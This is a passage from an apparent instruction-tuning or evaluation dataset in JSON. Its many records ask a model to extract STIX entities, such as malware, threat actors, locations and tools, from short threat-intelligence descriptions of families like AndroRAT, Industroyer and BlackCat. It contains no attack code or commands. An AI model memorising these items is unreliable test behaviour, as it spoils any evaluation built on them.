VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAndroRAT is an open-source remote access tool for Android devices. AndroRAT is capable of collecting data, such as device location, call logs, etc., and is capable of executing actions, such as sending SMS messages and taking pictures.\n",
    "output": "<entities>AndroRAT|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nVBShower has the ability to download VBS files to the target computer.\n",
    "output": "<entities>VBShower|VBS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n2016 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used Industroyer malware to target and disrupt distribution substations within the Ukrainian power grid. This campaign was the second major public attack conducted against Ukraine by Sandworm Team.\n",
    "output": "<entities>Ukraine Electric Power Attack|Sandworm Team|Industroyer|Ukrainian|Ukraine</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSecurity Brief: TA551 Uses \u2018SLIVER\u2019 Red Team Tool in New Activity October 20, 2021\n",
    "output": "<entities>SLIVER|TA551</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFlyTrap is an Android trojan, first detected in March 2021, that uses social engineering tactics to compromise Facebook accounts. FlyTrap was initially detected through infected apps on the Google Play store, and is believed to have impacted over 10,000 victims across at least 140 countries.\n",
    "output": "<entities>FlyTrap|Facebook|Android|Google Play|Google</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFurthermore, the diplomatic Turkish support to certain Chinese ethnic groups that are considerate as a threat against the Chinese national security, could provoke that Turkey becomes a target of groups like APT10 which presumably are linked to the Ministry of State Security of China.  APT10 is a group that has a wide range of targets. The organizations from sectors of interest for the government of China and the organizations that have some kind of link with the commercial development of the OBOR route could be susceptible to being targeted by groups such as APT10.\n",
    "output": "<entities>APT10|China|Turkish|Chinese|Turkey|Ministry of State Security of China</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. \n",
    "output": "<entities>BUBBLEWRAP|admin@338</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nStarloader has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.\n",
    "output": "<entities>Starloader|Adobe Acrobat Reader|Intel</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGold Dragon establishes persistence in the Startup folder.\n",
    "output": "<entities>Gold Dragon</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSome Felismus samples use a custom encryption method for C2 traffic that utilizes AES and multiple keys.\n",
    "output": "<entities>C2|Felismus</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGorgon Group malware can download a remote access tool, ShiftyBug, and inject into another process.\n",
    "output": "<entities>Gorgon Group|ShiftyBug</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nStrifeWater is a remote-access tool that has been used by Moses Staff in the initial stages of their attacks since at least November 2021.\n",
    "output": "<entities>StrifeWater|Moses Staff</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCerberus is a banking trojan whose usage can be rented on underground forums and marketplaces. Prior to being available to rent, the authors of Cerberus claim was used in private operations for two years.\n",
    "output": "<entities>Cerberus</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRifdoor is a remote access trojan (RAT) that shares numerous code similarities with HotCroissant.\n",
    "output": "<entities>Rifdoor|HotCroissant</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.\n",
    "output": "<entities>BlackCat|Europe|Australia|Asia|Americas|Africa|Rust</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nStrongPity can use HTTP and HTTPS in C2 communications.\n",
    "output": "<entities>StrongPity|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDvmap is rooting malware that injects malicious code into system runtime libraries. It is credited with being the first malware that performs this type of code injection.\n",
    "output": "<entities>Dvmap</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSamurai is a passive backdoor that has been used by ToddyCat since at least 2020. Samurai allows arbitrary C# code execution and is used with multiple modules for remote administration and lateral movement.\n",
    "output": "<entities>Samurai|ToddyCat|C#</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an 